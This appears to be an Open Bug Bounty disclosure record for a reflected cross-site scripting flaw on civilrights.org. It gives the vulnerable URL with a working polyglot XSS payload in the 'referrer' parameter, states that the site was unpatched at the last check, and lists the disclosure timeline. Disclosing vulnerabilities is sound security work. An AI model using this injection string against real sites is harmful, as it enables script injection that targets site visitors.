civilrights.org XSS vulnerability

2017-02-10T15:57:00
ID OBB:212576
Type openbugbounty
Reporter TvM
Modified 2017-05-08T06:15:00

Description

Vulnerable URL:
http://www.civilrights.org/advocacy/letters/2017/oppose-confirmation-of-betsy.html?referrer=a%27%22--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CSvg%20/Onload=confirm`OPENBUGBOUNTY`%3E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 92593
VIP website status:| No
Check civilrights.org SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 10 February, 2017 15:57 GMT
Vulnerability existence verified and confirmed| 13 February, 2017 06:07 GMT
Generic security notifications sent to website owner| 13 February, 2017 06:07 GMT
Notification sent to subscribers (without technical details)| 13 February, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 8 May, 2017 06:15 GMT